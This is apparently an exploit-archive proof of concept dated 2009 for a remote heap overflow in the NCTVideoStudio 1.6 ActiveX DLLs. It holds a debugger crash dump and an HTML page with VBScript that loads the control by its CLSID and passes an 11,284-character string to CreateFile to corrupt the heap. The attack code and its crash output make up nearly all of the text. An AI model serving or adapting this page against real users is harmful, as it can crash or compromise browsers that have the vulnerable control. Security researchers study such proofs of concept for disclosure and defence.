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----------------------------------------------------------- <br/>
Author : Mountassif Mouad (Stack) <br/>
----------------------------------------------------------- <br/>
NCTVideoStudio ActiveX DLLs Version 1.6 Reamote Heap Overflow Poc <br/>
----------------------------------------------------------- <br/>
<!--
Report for Clsid: {77829F14-D911-40FF-A2F0-D11DB8D6D0BC}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
Registers: In olly
--------------------------------------------------
EAX 00000001
ECX 7FFDF000
EDX 00150608
EBX 41414141
ESP 0013EFAC
EBP 0013F00C
ESI 00150000
EDI 41414139
EIP 7C97DF51 ntdll.7C97DF51
Block Disassembly:
--------------------------------------------------
7C97DF40 PUSH 0
7C97DF42 PUSH ESI
7C97DF43 CALL 7C97CDC9
7C97DF48 MOV EBX,[EBP+10]
7C97DF4B LEA EDI,[EBX-8]
7C97DF4E MOV [EBP-2C],EDI
7C97DF51 MOVZX EAX,WORD PTR [EDI] <--- CRASH
7C97DF54 SHL EAX,3
7C97DF57 MOV [EBP-30],EAX
7C97DF5A PUSH 7C97E11C
7C97DF5F PUSH EDI
7C97DF60 PUSH ESI
7C97DF61 CALL 7C97CC6D
7C97DF66 TEST AL,AL
7C97DF68 JE 7C97E0BF
ArgDump:
--------------------------------------------------
EBP+8 00150000 -> 000000C8
EBP+12 50000061
EBP+16 41414141
EBP+20 00150000 -> 000000C8
EBP+24 41414141
EBP+28 40000060
Stack Dump:
--------------------------------------------------
13EFD4 00 00 15 00 41 41 41 41 60 00 00 40 00 00 F8 00 [........`.......]
13EFE4 F8 EF 13 00 5C F0 13 00 18 EE 01 01 A8 EF 13 00 [....\...........]
13EFF4 00 00 03 00 E0 F0 13 00 18 EE 91 7C F8 E0 97 7C [................]
13F004 FF FF FF FF 39 41 41 41 00 00 15 00 00 00 F8 00 [................]
13F014 61 00 00 50 BE 6A 01 00 D4 EF 13 00 D8 21 F8 00 [a..P.j..........]
Block Disassembly:
--------------------------------------------------
Disasm: 7C97DF51 MOVZX EAX,WORD PTR [EDI]
-->
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='target' />
<script language='vbscript'>
'for debugging/custom prolog
targetFile = "C:\Program Files\NCT\VideoStudio\Redist\NCTAudioFile2.dll"
prototype = "Sub CreateFile ( ByVal fileName As String , ByVal FormatType As FormatTypeConstants )"
memberName = "CreateFile"
progid = "NCTAUDIOFILE2Lib.AudioFile2"
argCount = 2
arg1=String(11284, "A")
arg2=1
target.CreateFile arg1 ,arg2
</script>
# [2009-01-26]
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